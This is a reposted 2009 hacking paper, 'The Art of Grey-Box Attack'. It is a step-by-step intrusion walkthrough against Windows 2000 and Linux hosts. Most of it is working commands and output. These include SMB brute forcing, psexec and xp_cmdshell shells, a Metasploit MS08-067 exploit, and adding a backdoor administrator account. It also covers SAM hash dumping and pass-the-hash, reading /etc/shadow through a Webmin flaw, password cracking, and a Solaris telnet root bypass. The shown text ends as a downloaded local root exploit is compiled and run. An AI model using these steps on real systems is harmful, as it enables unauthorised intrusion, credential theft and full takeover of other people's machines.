From charlesreid1

The art of greybox attack:

from https://www.exploit-db.com/papers/12902/

		|=--------------------------------------------------------------------=|
		|=-----------------=[ The Art of Grey-Box Attack ]=-------------------=|
		|=--------------------------=[ 4 July 2009 ]=-------------------------=|
		|=----------------------=[  By CWH Underground  ]=--------------------=|
		|=--------------------------------------------------------------------=|
				

######
 Info
######

Title	: The Art of Grey-Box Attack
Author	: ZeQ3uL  (Prathan Phongthiproek)
	  JabAv0C (Wiswat Aswamenakul)
Team    : CWH Underground [www.milw0rm.com/author/1456]
Website	: cwh.citec.us / www.citec.us
Date	: 2009-07-04


##########
 Contents
##########

  [0x00] - Introduction

  [0x01] - The Art of Microsoft Windows Attack

	[0x01a] - Scanning & Enumeration
	[0x01b] - Gaining Access
	[0x01c] - Escalating Privilege

  [0x02] - The Art of Unix/Linux Attack
	
	[0x02a] - Scanning & Enumeration
	[0x02b] - Gaining Access
	[0x02c] - Escalating Privilege

  [0x03] - Metasploit Ninja-Autopwned

	[0x03a] - Nmap+Metasploit Autopwned 
	[0x03b] - Nessus+Metasploit Autopwned

  [0x04] - Client-Side Attack with Metasploit

	[0x04a] - Metasploit Payload Generator
	[0x04b] - MS-Office Macro Ownage
	[0x04c] - AdobeReader PDF Ownage

  [0x05] - References

  [0x06] - Greetz To


#######################
 [0x00] - Introduction
#######################

	Hi all, in this paper, we will guide you about methods to hacking into Windows
system and linux system. Moreover, we also show the ways to use popular hacking tools,
nmap and metasploit. Those tools are more powerfull than day in the past (We will see it ;D)

	We divide the paper into 7 sections from 0x00 to 0x06. However, only section 0x01 to
0x04 are technical issue. Section 0x01, we show the steps to hack into Windows 2000 operating
system. Section 0x02, we switch to talk about steps of linux hacking. The next section, 0x03,
mentions about automatic exploiting by using metasploit combining with nmap or nessus.
The last technical section lets you see examples of exploiting client software in order to 
get access to a system  :-D 


##############################################
 [0x01] - The Art of Microsoft Windows Attack
##############################################
	
		In this section, we talk about attacking Windows machines in network. We will start with scanning
	and enumeration then we move to gain access to Windows system and, finally, escalating privilege
	in order to control the machine completely and use the machine to attack other machines in the network.


	++++++++++++++++++++++++++++++++++
	 [0x01a] - Scanning & Enumeration
	++++++++++++++++++++++++++++++++++
	
		First, start with scanning by using nmap (http://nmap.org) which is the best in our opinion.
	New version of nmap improves scanning speed, mappes port with service name and adds custom script feature
	which is perfect use for penetration testing.

	The first example, We use nmap to scan for openning ports which are the channels to attack the system:

	[Nmap Result]-----------------------------------------------------------------------------------
	
	bt nmap-4.85BETA10 # nmap -sV 192.168.80.129

	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:03 GMT
	Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.  
	set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
	Interesting ports on 192.168.80.129:
	Not shown: 990 closed ports
	PORT     STATE SERVICE      VERSION
	80/tcp   open  http         Microsoft IIS webserver 5.0
	135/tcp  open  mstask       Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
	139/tcp  open  netbios-ssn
	443/tcp  open  https?
	445/tcp  open  microsoft-ds Microsoft Windows 2000 microsoft-ds
	1025/tcp open  mstask       Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
	1026/tcp open  msrpc        Microsoft Windows RPC
	1027/tcp open  msrpc        Microsoft Windows RPC
	1433/tcp open  ms-sql-s     Microsoft SQL Server 2000 8.00.194; RTM
	3372/tcp open  msdtc?
	1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
	SF-Port3372-TCP:V=4.85BETA10%I=7%D=7/3%Time=4A4DD777%P=i686-pc-linux-gnu%r
	SF:(GetRequest,6,"\x18\xc1\n\0x\x01")%r(RTSPRequest,6,"\x18\xc1\n\0x\x01")
	SF:%r(HTTPOptions,6,"\x18\xc1\n\0x\x01")%r(Help,6,"\x18\xc1\n\0x\x01")%r(S
	SF:SLSessionReq,6,"\x18\xc1\n\0x\x01")%r(FourOhFourRequest,6,"\x18\xc1\n\0
	SF:x\x01")%r(LPDString,6,"\x18\xc1\n\0x\x01")%r(SIPOptions,6,"\x18\xc1\n\0
	SF:x\x01");
	MAC Address: 00:0C:29:CC:CF:46 (VMware)
	Service Info: OS: Windows

	Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
	Nmap done: 1 IP address (1 host up) scanned in 71.68 seconds

	[End Result]------------------------------------------------------------------------------------
	
		From result, we get a list of opening ports and we know that this system runs IIS, Netbios, Endpoint Mapper, SMB, MSSQL2000
	and the operating system is Windows 2000 (We pick Windows 2000 as the example because we want you to see the big picture of
	Windows hacking). The next step is an information gathering from Netbios and SMB. Windows 2000 has "Null Session" vulnerability
	(Holygrail of Windows Vulnerability) which allows us to enumerate all accounts in the system including security policies, 
	local group, file share. We pick nmap to gather the information by using Nmap-script. In the past, We had to connect to the system
	through IPC$ (Null Session) then we had run command [net use \\192.168.80.129 "" /u:""] after that we have enumerated the information through
	a tool such as Superscan4 or Winfo. Nowadays, Nmap(8.5Beta) can perform those tasks with help of Nmap-script (smb-enum-users, smb-enum-shares,Etc).
	
	[Nmap Result]-----------------------------------------------------------------------------------
	
	bt nmap-4.85BETA10 # nmap  --script=smb-enum-users 192.168.80.129

	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:21 GMT
	Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.  
	set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
	Interesting ports on 192.168.80.129:
	Not shown: 990 closed ports
	PORT     STATE SERVICE
	80/tcp   open  http
	135/tcp  open  msrpc
	139/tcp  open  netbios-ssn
	443/tcp  open  https
	445/tcp  open  microsoft-ds
	1025/tcp open  NFS-or-IIS
	1026/tcp open  LSA-or-nterm
	1027/tcp open  IIS
	1433/tcp open  ms-sql-s
	3372/tcp open  msdtc
	MAC Address: 00:0C:29:CC:CF:46 (VMware)
	
	Host script results:
	|  smb-enum-users:
	|_ SERVER\Administrator, SERVER\backup, SERVER\epp, SERVER\epp_contractor, SERVER\Guest, SERVER\IUSR_SERVER, SERVER\IWAM_SERVER, SERVER\Jim, SERVER\John, SERVER\mary, SERVER\molly, SERVER\None, SERVER\TsInternetUser
	
	Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds

	[End Result]------------------------------------------------------------------------------------
	
	From Result, We know all user in target system:
	
	- Administrator
	- Backup
	- epp
	- epp_contractor
	- Guest
	- IUSR_SERVER
	- IWAM_SERVER
	- Jim
	- John
	- mary
	- molly
	- TsInternetUser

 		The Others techniques is Enumeration from "LDAP Anonymous" and SNMP Default Community string (Public/Private) that we can list all user from target system too.
	"LDAP Anonymous" => Using ldapminer
	"Default SNMP Community String" => Using snmpwalk
		The shared files and folders are also important. If there is no properly permission setting, attack may directly upload malicious files to the system.

	[Nmap Result]-----------------------------------------------------------------------------------
	
	bt nmap-4.85BETA10 # nmap  --script=smb-enum-shares 192.168.80.129

	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:21 GMT
	Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.  
	set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
	Interesting ports on 192.168.80.129:
	Not shown: 990 closed ports
	PORT     STATE SERVICE
	80/tcp   open  http
	135/tcp  open  msrpc
	139/tcp  open  netbios-ssn
	443/tcp  open  https
	445/tcp  open  microsoft-ds
	1025/tcp open  NFS-or-IIS
	1026/tcp open  LSA-or-nterm
	1027/tcp open  IIS
	1433/tcp open  ms-sql-s
	3372/tcp open  msdtc
	MAC Address: 00:0C:29:CC:CF:46 (VMware)
	
	Host script results:
	|  smb-enum-shares:
	|  Anonymous shares: IPC$
	|_ Restricted shares: COVERPG$, Fax$, Inetpub, scripts, ADMIN$, C$
	
	Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
	
	[End Result]------------------------------------------------------------------------------------
		
	From Result, We know all share files:
	IPC	<<	Anonymous Null Session
	COVERPG
	Fax
	Inetpub
	scripts
	ADMIN
	C


		Next, We know all users from Null Session so we can bruteforce attack for their users with Nmap-script "smb-brute"
	
	[Nmap Result]-----------------------------------------------------------------------------------
	
	bt nmap-4.85BETA10 # nmap  --script=smb-brute 192.168.80.129

	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:38 GMT
	Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.  
	set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
	Interesting ports on 192.168.80.129:
	Not shown: 990 closed ports
	PORT     STATE SERVICE
	80/tcp   open  http
	135/tcp  open  msrpc
	139/tcp  open  netbios-ssn
	443/tcp  open  https
	445/tcp  open  microsoft-ds
	1025/tcp open  NFS-or-IIS
	1026/tcp open  LSA-or-nterm
	1027/tcp open  IIS
	1433/tcp open  ms-sql-s
	3372/tcp open  msdtc
	MAC Address: 00:0C:29:CC:CF:46 (VMware)
	
	Host script results:
	|  smb-brute:
	|  backup:pukcab => Login was successful
	|_ epp:password => Login was successful
	
	Nmap done: 1 IP address (1 host up) scanned in 5.93 seconds

	[End Result]------------------------------------------------------------------------------------

		Look at that result, We can brute weak password from users backup and epp.



	++++++++++++++++++++++++++
	 [0x01b] - Gaining Access
	++++++++++++++++++++++++++
	
	
		Now we got 2 account credentials for attack, We choose "epp" that use password "password". Use psexec (Pstool from sysinternals)
	to spawn command shell back to our.
		

	[Psexec Result]---------------------------------------------------------------------------------
	C:\>psexec \\192.168.80.129 -u epp -p password -e cmd.exe

	PsExec v1.71 - Execute processes remotely
	Copyright (C) 2001-2006 Mark Russinovich
	Sysinternals - www.sysinternals.com
	
	
	Microsoft Windows 2000 [Version 5.00.2195]
	(C) Copyright 1985-2000 Microsoft Corp.
	
	C:\WINNT\system32>ipconfig
	
	Windows 2000 IP Configuration
	
	Ethernet adapter Local Area Connection:
	
	        Connection-specific DNS Suffix  . : localdomain
	        IP Address. . . . . . . . . . . . : 192.168.80.129
	        Subnet Mask . . . . . . . . . . . : 255.255.255.0
	        Default Gateway . . . . . . . . . : 192.168.80.2
	
	C:\WINNT\system32>net user
	
	User accounts for \\SERVER
	
	------------------------------------------------------------------------------
	Administrator            backup                   epp
	epp_contractor           Guest                    IUSR_SERVER
	IWAM_SERVER              Jim                      John
	mary                     molly                    TsInternetUser
	The command completed successfully.
	
	[End Result]------------------------------------------------------------------------------------

		From Result, We can spawn their command shell with epp's privilege (Administrators) then Blah Blah Blah...

		The target use MSSQL 2000, we guess they use default username/password for MSSQL 2000 (SA/blank password).So we use osql to spawn command shell with MSSQL stored procedure
	xp_cmdshell, This stored procedure was gold mines for Hacker that use for interactive command shell. Attacker can use 'osql' to get shell from target.

	[Osql Result]-----------------------------------------------------------------------------------
	C:\>osql -S 192.168.80.129 -U sa -P "" -Q "exec master..xp_cmdshell 'dir c:\' "
	 output

	------------------------------------------------------------------------------

        -----------------------------------------------------------------------

        -----------------------------------------------------------------------

        --------------------------------
	  Volume in drive C has no label.

	  Volume Serial Number is 50C0-6A72

	 NULL

	  Directory of c:\

	 NULL

	 12/03/2004  04:39p                 451 dir.txt
	 06/04/2004  03:49p      <DIR>          Documents and Settings
	 19/03/2009  12:47a      <DIR>          Inetpub
	 19/03/2009  12:38a      <DIR>          Program Files
	 03/07/2009  04:55p      <DIR>          WINNT
                1 File(s)            451 bytes
	        4 Dir(s)   3,053,559,808 bytes free

	 NULL
	
	C:\>osql -S 192.168.80.129 -U sa -P "" -Q "exec master..xp_cmdshell 'net user' "
	 output

	------------------------------------------------------------------------------

        -----------------------------------------------------------------------

        -----------------------------------------------------------------------

        --------------------------------
	
	-----------------------------------------------------------------------------

	Administrator            backup                   cwh

	epp                      epp_contractor           Guest

	IUSR_SERVER              IWAM_SERVER              Jim

	John                     mary                     molly

	TsInternetUser

	                            or more errors.

	NULL

	NULL

	[End Result]------------------------------------------------------------------------------------
	
		Note: Nmap-script have "ms-sql-info.nse" for scaning machine that use account 'sa' with blank password too.

		The Lastest Worm like Conficker/DownADup, Nmap-script can scan for MS08-067 Vulnerability ?? and System Infected Worm ?? with "smb-check-vulns".

	[Nmap Result]-----------------------------------------------------------------------------------
	
	bt nmap-4.85BETA10 # nmap  --script=smb-check-vulns 192.168.80.129

	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:35 GMT
	Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.  
	set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
	Interesting ports on 192.168.80.129:
	Not shown: 990 closed ports
	PORT     STATE SERVICE
	80/tcp   open  http
	135/tcp  open  msrpc
	139/tcp  open  netbios-ssn
	443/tcp  open  https
	445/tcp  open  microsoft-ds
	1025/tcp open  NFS-or-IIS
	1026/tcp open  LSA-or-nterm
	1027/tcp open  IIS
	1433/tcp open  ms-sql-s
	3372/tcp open  msdtc
	MAC Address: 00:0C:29:CC:CF:46 (VMware)
	
	Host script results:
	|  smb-check-vulns:
	|  MS08-067: VULNERABLE
	|_ Conficker: Likely CLEAN
	
	Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds
	
	[End Result]------------------------------------------------------------------------------------
		
		Now we know target has MS08-067 vulnerability, Then use the G0d of Exploit suite => "Metasploit Framework"

	[Msf Console]-----------------------------------------------------------------------------------
	
	msf > use windows/smb/ms08_067_netapi
	msf exploit(ms08_067_netapi) > show targets
	msf exploit(ms08_067_netapi) > set TARGET 1
	TARGET => 1
	msf exploit(ms08_067_netapi) > set PAYLOAD generic/shell_bind_tcp
	PAYLOAD => generic/shell_bind_tcp
	msf exploit(ms08_067_netapi) > set RHOST 192.168.80.129
	RHOST => 192.168.80.129
	msf exploit(ms08_067_netapi) > exploit
	
	[*] Started bind handler
	[*] Triggering the vulnerability...
	[*] Command shell session 1 opened (192.168.80.131:51038 -> 192.168.80.129:4444)
	
	Microsoft Windows 2000 [Version 5.00.2195]
	(C) Copyright 1985-2000 Microsoft Corp.
	
	C:\WINNT\system32>ipconfig
	ipconfig
	
	Windows 2000 IP Configuration
	
	Ethernet adapter Local Area Connection:
	
	        Connection-specific DNS Suffix  . : localdomain
	        IP Address. . . . . . . . . . . . : 192.168.80.129
	        Subnet Mask . . . . . . . . . . . : 255.255.255.0
	        Default Gateway . . . . . . . . . : 192.168.80.2

	C:\WINNT\system32>net user cwh 1234 /add
	net user cwh 1234 /add
	The command completed successfully.
	
	C:\WINNT\system32>net localgroup administrators cwh /add
	net localgroup administrators cwh /add
	The command completed successfully.
	
	C:\WINNT\system32>net user
	net user
	
	User accounts for \\
	
	-------------------------------------------------------------------------------
	Administrator            backup                   cwh
	epp                      epp_contractor           Guest
	IUSR_SERVER              IWAM_SERVER              Jim
	John                     mary                     molly
	TsInternetUser
	The command completed with one or more errors.
	
	[End Msf]---------------------------------------------------------------------------------------

		The Most popular Tools for scanning, enumeration, vulnerability assessment is Nessus (www.www.nessus.org).That have many features like highspeed discovery.
	configuration audit, sensitive data discovery and vulnerability analysis. The Best thing, It's FREE !!!
		

	++++++++++++++++++++++++++++++++
	 [0x01c] - Escalating Privilege
	++++++++++++++++++++++++++++++++
	

		The next step to do is Dump SAM file from target that get all hashing. Sure we can use Nmap !!
	We can read the information in SAM file only when we have administrator's privilege (epp's account had administrators group)

	[Nmap Result]-----------------------------------------------------------------------------------

	bt nmap-4.85BETA10 # nmap  --script=smb-pwdump --script-args=smbuser=epp,smbpass=password 192.168.80.129

	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:50 GMT
	Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.  
	set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
	Interesting ports on 192.168.80.129:
	Not shown: 990 closed ports
	PORT     STATE SERVICE
	80/tcp   open  http
	135/tcp  open  msrpc
	139/tcp  open  netbios-ssn
	443/tcp  open  https
	445/tcp  open  microsoft-ds
	1025/tcp open  NFS-or-IIS
	1026/tcp open  LSA-or-nterm
	1027/tcp open  IIS
	1433/tcp open  ms-sql-s
	3372/tcp open  msdtc
	MAC Address: 00:0C:29:CC:CF:46 (VMware)
	
	Host script results:
	|  smb-pwdump:
	|  Administrator:1010 => F703F386322B0662E72C57EF50F76A05:C62638B38308E651B21A0F2CCAB3AC9B
	|  backup:1005 => E84F09BA27610849AAD3B435B51404EE:94FF50F81F9885648A05438F63EA9F91
	|  epp:500 => E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
	|  epp_contractor:1007 => 60F898DDDCAE534EAAD3B435B51404EE:148301D12E96ED2CE24A20C6ED9A2EAF
	|  Guest:501 => A0E150C75A17008EAAD3B435B51404EE:823893ADFAD2CDA6E1A414F3EBDF58F7
	|  IUSR_SERVER:1001 => 0C2A09C60FF052D3518640B5D8EB223A:E9C4226B18D023A932473576E62EB5E9
	|  IWAM_SERVER:1002 => A373B0BEBCEED1FAD95379C32DAD5DEF:803F59A7EA1EA9A65A15310B58A015D3
	|  Jim:1009 => 209CA2D6E74286E9AAD3B435B51404EE:FF623167AECD14984A0A97E4D3989A89
	|  John:1004 => 4B69911850133174AAD3B435B51404EE:D5173C778E0F56D9FC47E3B3C829ACA7
	|  mary:1003 => 879980DE48006E7EAAD3B435B51404EE:BA69764BCCF8F41121E0B3046CE46C67
	|  molly:1008 => 4B69911850133174AAD3B435B51404EE:D5173C778E0F56D9FC47E3B3C829ACA7
	|_ TsInternetUser:1000 => 52FE1A30EB33BA7BE3BB722E78963414:3A07E408DB9CB2331C9C527B0F4A8C52
	
	Nmap done: 1 IP address (1 host up) scanned in 2.58 seconds
	
	[End Result]------------------------------------------------------------------------------------
	
		Now we got all hash from target system. In the past, Need to crack password by using a tool such as cain or rcrack
	with a technique called "rainbow tables" but this action steal sleeping time from us. We can save that time by one of nmap features.
	Nmap can try to login to other machines with gathering hashes and list of usernames. We do not need to pre-crack the hashes.

	[Nmap Result]-----------------------------------------------------------------------------------
	
	bt nmap-4.85BETA10 # cat password.txt
	F703F386322B0662E72C57EF50F76A05
	E52CAC67419A9A224A3B108F3FA6CB6D
	209CA2D6E74286E9AAD3B435B51404EE
	bt nmap-4.85BETA10 # nmap  --script=smb-brute --script-args=userdb=usernames.txt,passdb=password.txt 192.168.80.1/24

	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:50 GMT
	Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.  
	set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).
	Interesting ports on 192.168.80.100:
	PORT     STATE SERVICE
	445/tcp  open  microsoft-ds
	
	Host script results:
	|  smb-brute:
	|_ Administrator:F703F386322B0662E72C57EF50F76A05 => Login was successful
	
	Interesting ports on 192.168.80.135:
	PORT     STATE SERVICE
	445/tcp  open  microsoft-ds
	
	Host script results:
	|  smb-brute:
	|  epp:E52CAC67419A9A224A3B108F3FA6CB6D => Login was successful
	|_ Jim:209CA2D6E74286E9AAD3B435B51404EE => Login was successful


	[End Result]------------------------------------------------------------------------------------

	
		Now we can compromise other system from network that use the same password (Hashing with no-crack), Use Passing the Hash with SMB suite (http://foofus.net/jmk/passhash.html)
	to impersonating user without password. I use samba-3.0.22 with patched:

	./configure --with-smbmount
	patch -p0 <samba-3.0.22-add-user.patch
	patch -p0 <samba-3.0.22-passhash.patch

	[SMB Hash]--------------------------------------------------------------------------------------

	bt cwh # export SMBHASH="F703F386322B0662E72C57EF50F76A05:C62638B38308E651B21A0F2CCAB3AC9B"
	bt cwh # ./smbmount //192.168.80.129/c$ /mnt/passhash -o username=administrator
	Password:		<< Insert hash from SMBHASH (F703F386322B0662E72C57EF50F76A05:C62638B38308E651B21A0F2CCAB3AC9B)
	HASH PASS: Substituting user supplied NTLM HASH...
	HASH PASS: Substituting user supplied NTLM HASH...
	HASH PASS: Substituting user supplied LM HASH...
	bt cwh # ls /mnt/passhash/
	dir.txt  Documents and Settings  Inetpub  Program Files  WINNT
	bt cwh #

	[End Result]------------------------------------------------------------------------------------
	
		Other tool is pass-the-hash Toolkit (http://oss.coresecurity.com/projects/pshtoolkit.html) to impersonating user without password. The Pass-The-Hash Toolkit contains utilities to manipulate the Windows Logon Sessions 
	mantained by the LSA (Local Security Authority) component. These tools allow you to list the current logon sessions with its corresponding NTLM credentials (e.g.: users remotely logged in thru Remote Desktop/Terminal Services), 
	and also change in runtime the current username, domain name, and NTLM hashes (YES, PASS-THE-HASH on Windows!).
	
		We need to compromise one machine for attack other machine that use the same credentials, Now we got their command shell and use "whosthere" for find their credentials.

	[Victim Result]---------------------------------------------------------------------------------
		
	C:\pshtoolkit_v1.4\whosthere>whosthere
	WHOSTHERE v1.4 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies
	This tool lists the active LSA logon sessions with NTLM credentials.
	(use -h for help).
	-B is now used by default. Trying to find correct addresses..Found!.
	the output format is: username:domain:lmhash:nthash
	
	cwh:SERVER:00000000000000000000000000000000:8846F7EAEE8FB117AD06BDD830B7586C
	Administrator:SERVER2:209CA2D6E74286E9AAD3B435B51404EE:BA69764BCCF8F41121E0B3046CE46C67

	C:\pshtoolkit_v1.4\whosthere>cd ..\iam
	C:\pshtoolkit_v1.4\iam>iam.exe -r cmd.exe -h Administrator:SERVER2:209CA2D6E74286E9AAD3B435B51404EE:BA69764BCCF8F41121E0B3046CE46C67 -B
	IAM v1.4 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - (c) 2007-2008 Core Security Technologies
	Parameters:
	Username: Administrator
	Domainname: SERVER2
	LM hash: 209CA2D6E74286E9AAD3B435B51404EE
	NT hash: BA69764BCCF8F41121E0B3046CE46C67
	Run: cmd.exe
	LSASRV.DLL version: 00050001h. A280DC0h
	Checking LSASRV.DLL....skipped. (-B was specified).
	Trying to obtain addresses...Ok! (AC = 75753BA0, EM = 7573FDEC)
	The current logon credentials were successful changed!

	[End Result]------------------------------------------------------------------------------------
	
	Now we have Administrator credential in the new MS-dos that Maybe can compromise many machine in network !!



#######################################
 [0x02] - The Art of Unix/Linux Attack
#######################################

	

	++++++++++++++++++++++++++++++++++
	 [0x02a] - Scanning & Enumeration
	++++++++++++++++++++++++++++++++++

		The first thing important before start hacking is gathering as much information as you can.
	You can use the information to guess password, specific points to attack or anything as
	you can imagine. Our favourite tool used to scan a target is nmap. We know openning ports and 
	a software version with only one command. We show you below :D

	[Nmap Result]-----------------------------------------------------------------------------------

	bt cwh # nmap -sV www.target.com

	Starting Nmap 4.76 ( http://nmap.org ) at 2009-07-03 16:38 SE Asia Standard Time
	
	Interesting ports on 192.168.0.111:
	Not shown: 987 closed ports
	PORT      STATE    SERVICE     VERSION
	21/tcp    open     ftp         vsftpd 2.0.6
	22/tcp    open     ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
	25/tcp    open     smtp        Cisco PIX sanitized smtpd
	53/tcp    open     domain      ISC BIND 9.4.2
	80/tcp    open     http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.3 mod_ssl/2.2.8 OpenSSL/0.9.8g)
	111/tcp   filtered rpcbind
	443/tcp   open     http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.3 mod_ssl/2.2.8 OpenSSL/0.9.8g)
	554/tcp   filtered rtsp
	1720/tcp  filtered H.323/Q.931
	2000/tcp  filtered callbook
	3306/tcp  open     mysql       MySQL (unauthorized)
	5060/tcp  filtered sip
	10000/tcp open     http        Webmin httpd
	Service Info: OSs: Unix, Linux; Device: firewall

	Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
	Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

	[End Result]------------------------------------------------------------------------------------


		In the result, you see that this system use Webmin but we do not know the exact version.
	If we are not an Alzheimer, Webmin used to expose file disclosure vulnerability in version 1.290.
	We try to search in milw0rm.com and , bingo!!, We find one at http://milw0rm.com/exploits/2017 .
	It is perl script exploit. So, we download the script and save as 2017.pl then we launch the command ...

	[Perl Script Result]----------------------------------------------------------------------------

	bt cwh # perl 2017.pl www.target.com 10000 http /etc/passwd
	root:x:0:0::/root:/bin/bash
	bin:x:1:1:bin:/bin:/bin/false
	daemon:x:2:2:daemon:/sbin:/bin/false
	adm:x:3:4:adm:/var/log:/bin/false
	lp:x:4:7:lp:/var/spool/lpd:/bin/false
	sync:x:5:0:sync:/sbin:/bin/sync
	shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
	halt:x:7:0:halt:/sbin:/sbin/halt
	mail:x:8:12:mail:/:/bin/false
	news:x:9:13:news:/usr/lib/news:/bin/false
	uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
	operator:x:11:0:operator:/root:/bin/bash
	games:x:12:100:games:/usr/games:/bin/false
	ftp:x:14:50::/home/ftp:/bin/false
	smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
	mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
	rpc:x:32:32:RPC portmap user:/:/bin/false
	sshd:x:33:33:sshd:/:/bin/false
	gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
	apache:x:80:80:User for Apache:/srv/httpd:/bin/false
	messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
	haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
	pop:x:90:90:POP:/:/bin/false
	nobody:x:99:99:nobody:/:/bin/false
	snort:x:1000:102::/home/snort:/bin/false
	user1:x:1001:100::/home/user1:

	[End Perl Script Result]------------------------------------------------------------------------

	lol !!! It seems that an admin is an outdated. She do not update or patch her Webmin.


	++++++++++++++++++++++++++
	 [0x02b] - Gaining Access
	++++++++++++++++++++++++++

		As the target is linux server, it is harder than windows server to remotely attack.
	The most remote exploits affected on linux are from third party software such as
	ftp, ssh, web server. The ways to access linux server are to exploit third party 
	running services, to get user information from web application vulnerability then
	do the brute forcing and to do social engineer toward valid user.
	
	In our example case, we highly recommend you to try following command:
	
	bt cwh # perl 2017.pl www.target.com 10000 http /etc/shadow
	
	This command tries to read /etc/shadow file. If a result seem like below, you are lucky ;D

	[Perl Script Result]----------------------------------------------------------------------------

	root:$1$MKy0eqPM$auerQwMpGYcqgBqDddkfO/:13666:0:::::
	bin:*:9797:0:::::
	daemon:*:9797:0:::::
	adm:*:9797:0:::::
	lp:*:9797:0:::::
	sync:*:9797:0:::::
	shutdown:*:9797:0:::::
	halt:*:9797:0:::::
	mail:*:9797:0:::::
	news:*:9797:0:::::
	uucp:*:9797:0:::::
	operator:*:9797:0:::::
	games:*:9797:0:::::
	ftp:*:9797:0:::::
	smmsp:*:9797:0:::::
	mysql:*:9797:0:::::
	rpc:*:9797:0:::::
	sshd:*:9797:0:::::
	gdm:*:9797:0:::::
	pop:*:9797:0:::::
	apache:*:9797:0:::::
	messagebus:*:9797:0:::::
	haldaemon:*:9797:0:::::
	nobody:*:9797:0:::::
	snort:!:13986:0:99999:7:::
	user1:$1$RY88JSH8$1A73wdGEerLFulLzzTnHX0:14428:0:99999:7:::

	[End Perl Script Result]------------------------------------------------------------------------


		We put the result in file shadow.txt and then try to crack passwords by using John the Ripper.
	(dict.lst is dictionary file)

	[John Result]-----------------------------------------------------------------------------------

	bt cwh # john --wordlist=dict.lst shadow.txt
	Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [32/32])
	user1            (user1)
	guesses: 1  time: 0:00:00:00 100%  c/s: 150  trying: abc

	[End John Result]-------------------------------------------------------------------------------


		It means that password of user1 is "user1" and cannot find password for root.
	Now, you can login to the target system by using credential information of user1.
	
	After you can find the way into the system, you have to figure the way to escalate 
	your privilege.
		
		We have another example to show you. It is telnet vulnerability on solaris 10/11.
	This vulnerability allows you to login easily with root privilege. We just send
	[telnet –l "-froot" 192.168.0.112] to telnet deamon on solaris 10/11.

	[Telnet bypass]---------------------------------------------------------------------------------

	bt cwh # telnet –l "-froot" 192.168.0.112
	Trying 192.168.0.112...
	Connected to 192.168.0.112.
	Escape character is '^]'.
	Last login: Sun Jun 30 02:02:02 from 192.168.0.2
	Sun Microsystems Inc.	SunOS 5.10	Generic January 2007
	# id
	uid=0(root) gid=0(root)
	# 

	[End Result]------------------------------------------------------------------------------------

		If we use this technique, we do not want to escalate privilege cause we already login
	as root privilege.


	++++++++++++++++++++++++++++++++
	 [0x02c] - Escalating Privilege
	++++++++++++++++++++++++++++++++

		 In this article, we introduce you to use local root exploit for linux. You can find
	the exploits from milw0rm.com. the first tasks after access the system are to check
	linux kernel version and the user id.

	user1@linuxserver:~$ uname -a
	Linux linuxserver 2.6.17-10-server #2 SMP Fri Oct 13 18:47:26 UTC 2006 i686 GNU/Linux
	user1@linuxserver:~$ id
	uid=1001(user1) gid=1001(user1) groups=1001(user1)
	
	As the result of two commands above, we want to escalate our privilege to be root and 
	we remember that there is an local root exploit for linux 2.6.17 - 2.6.24 on milw0rm.com ;D
	we do not hesitate to download the code, compile it and run. The result is shown below ...
	
	user1@linuxserver:~$ wget http://milw0rm.com/exploits/5092
	--17:17:21--  http://milw0rm.com/exploits/5092
	           => `5092'
	Resolving milw0rm.com... 76.74.9.18
	Connecting to milw0rm.com|76.74.9.18|:80... connected.
	HTTP request sent, awaiting response... 200 OK
	Length: unspecified [text/html]
	
	    [  <=>                                ] 7,197         11.58K/s             
	
	17:17:23 (11.58 KB/s) - `5092' saved [7197]
	
	user1@linuxserver:~$ gcc -o 5092 5092.c 
	5092.c:289:28: warning: no newline at end of file
	user1@linuxserver:~$ ./5092 
